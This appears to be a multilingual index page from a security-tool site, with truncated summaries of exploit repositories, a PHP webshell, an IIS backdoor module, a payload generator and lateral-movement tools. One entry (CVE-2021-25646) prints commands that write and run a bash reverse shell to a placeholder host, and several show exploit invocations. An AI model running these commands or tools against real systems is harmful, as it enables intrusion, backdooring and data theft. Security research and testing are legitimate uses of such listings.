CVE-2019-3980

CVE-2019-3980 Este repositorio fue creado para utilizar el PoC de Nessus con un ejecutable personalizado en C para ejecutar comandos en un host remoto y obtener la salida del comando. El archivo Python se utiliza para iniciar un servidor web, ejecutar el exploit y luego obtener los resultados a...

CVE-2017-12636

Couchdb 任意命令执行漏洞 CVE-2017-12636...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei模板 CVE-2022-1388 BIG-IP iControl REST 暴露 May 06, 2022 这仅通过访问认证端点来验证API的存在 该漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，从而执行任意系统命令、创建或删除文件，或禁用服务。没有数据平面暴露风险；仅为控制平面问题。 此模板是一个简单的检查 发送请求： 路径 BaseURL/mgmt/shared/authn/login 匹配条件： 关键词： "resterrorresponse" "message" 状态码： 401 POC 手动验证 root@kitploit:...

RemoteKeyStrokes

RemoteKeyStrokes Un script para automatizar pulsaciones de teclado a través de una sesión activa de escritorio remoto que asiste a operadores ofensivos en combinación con técnicas de living off the land. Todo el crédito va para nopernik por hacerlo posible, así que tomé la iniciativa de mejorarlo...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882 Descripción Vulnerabilidad en el producto Oracle WebLogic Server de Oracle Fusion Middleware componente: Console. Las versiones compatibles afectadas son 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 y 14.1.1.0.0. La vulnerabilidad, fácilmente explotable, permite a ...

CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 Remote Command Execution RCE...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0...

wildpwn

首先！ 阅读：https://www.exploit-db.com/papers/33930/ 基本用法 大致如下： root@kitploit: usage: wildpwn.py -h --file FILE payload folder 用于生成Unix通配符攻击的工具 位置参数： payload 要使用的payload：combined | tar | rsync folder 写入payload的目录 可选参数： -h, --help 显示此帮助信息并退出 --file FILE 要获取所有权/修改权限的文件路径。仅与combined攻击一起使用。 Payload类型...

CVE-2024-32002

CVE-2024-32002 Versiones 1.0.0 Esta versión solo funciona en un objetivo remoto con usuario autenticado y la versión de git 2.45.0 afectada. Esta vulnerabilidad afecta a Git con la versión: 2.45.0 Prueba de Concepto La POC puede desencadenar un RCE Ejecución Remota de Comandos usando el comando g...

rome-webshell

Rome WebShell 一个强大而令人愉悦的PHP WebShell 这是一个轻量级PHP webshell ，仅使用原生JavaScript和CSS， 没有jQuery/Bootstrap的臃肿 。 特性 完全交互式文件浏览器 ，浏览目录并即时下载文件 直接从浏览器上传文件 执行命令 ，无需对负载进行'URL编码' MD5密码保护 ，例如在King of The Hill期间限制访问很方便 完全CSS动画，响应式 且令人愉悦的FlatUI界面 易于自定义，使用CSS变量轻松应用你喜欢的颜色 已混淆，此仓库包含一个已经混淆的版本 使用方法 0...

SNOWCRASH

SNOWCRASH 一个多语言有效载荷生成器 简介 SNOWCRASH 创建一个可在 Linux 和 Windows 机器上启动的脚本。用户选择的有效载荷（此处为 Bash 和 Powershell 组合代码）被嵌入到一个与平台无关的多语言模板中。 目前提供少数有效载荷，包括命令执行、反弹 Shell 建立、二进制文件执行等 : 基本用法 1. 安装依赖：./install.sh 2. 列出可用有效载荷：./snowcrash --list 3. 生成所选有效载荷：./snowcrash --payload memexec --out polyglotscript 4...

IIS-Raid

IIS-Raid IIS-Raid 是一个原生 IIS 模块，它滥用 IIS 的可扩展性来对 Web 服务器进行后门植入，并执行攻击者自定义的操作。 文档 安装后，IIS-Raid 会处理每一个请求和方法，检查是否存在 X-Password 头，并将其与硬编码的值进行比较。 如果请求头中指定的值与密码不匹配，请求将正常继续，不会暴露出后门的任何迹象。 如果请求头的值与密码匹配，它将查找通信头并提取其内容。此外，它还会对其进行 base64 解码，与预定义的命令进行比较，并在有指令时进行处理。 脚本实现了四个参数： --url ：用于与后门通信的 URL。必需 --password...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...

omigod

CVE-2021-38647: Omigod Otro exploit para Omigod escrito rápido y sucio en Go. El exploit utiliza y se basa en: la investigación de wiz: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure el payload SOAP de midoxnet: https://github.com/midoxnet/CVE-2021-38647 el Proof of Concept ...

CVE-2019-2725

CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814、WebLogic wls9-async 命令回显 10.3.6 12.1.3 ResultBaseExec.java 用于测试defineClass，将把恶意类从base64还原出来，执行代码，主要是比较方便（可用可不用）。 JDK7u21.java 会生成weblogic-2019-272512.1.3命令执行.txt中的xml，请使用jdk6编译。 CVE-2019-2725.py 检测命令是否会执行。...

CVE-2026-55546

QWED-MCP is a deterministic verification gateway for MCP. Prior to 0.2.1, verifymathexpression in src/qwedmcp/engines/mathengine.py passes attacker-controlled expression and claimedresult strings directly to SymPy's parseexpr after only normalizing caret syntax to Python exponent syntax, without...

CVE-2026-55581

mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default Docker security.yaml includes /bin/bash in allowedexecutables, while security.go validates only the first token and checkBlockedPatternsAndCommands does not reject the shell...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring 主要依赖 1. jackson 2. commons-io 快速复现 1. idea导入项目 build mvn install 2. Dockerfile build && run docker build . 3. 运行src/test/java/POC.java 执行touch /tmp/pwned命令 利用说明 Step1: 把java.io.InputStream 加入 fastjson autotype 缓存 root@kitploit: "a": " "@type": "java.lang.Exception",...

ssh-auditor

SSH Auditor Features ssh-auditor will automatically: Re-check all known hosts as new credentials are added. It will only check the new credentials. Queue a full credential scan on any new host discovered. Queue a full credential scan on any known host whose ssh version or key fingerprint changes...

SCShell

SCShell SCShell 是一种无文件横向移动工具，依赖 ChangeServiceConfigA 来执行命令。该工具的精妙之处在于它无需通过 SMB 进行身份验证——所有操作均在 DCERPC 上完成。 该工具可远程使用，无需注册服务或创建服务。同时，它也不需要在远程系统上放置任何文件（取决于所使用的执行技术）。 工作原理 该工具不创建服务，而是直接远程打开一个现有服务，并通过 ChangeServiceConfigA API 修改其二进制路径名。 随后启动该服务。 执行完成后，服务二进制路径会被恢复为原始路径。原始服务路径通过 QueryServiceConfigA 获取。...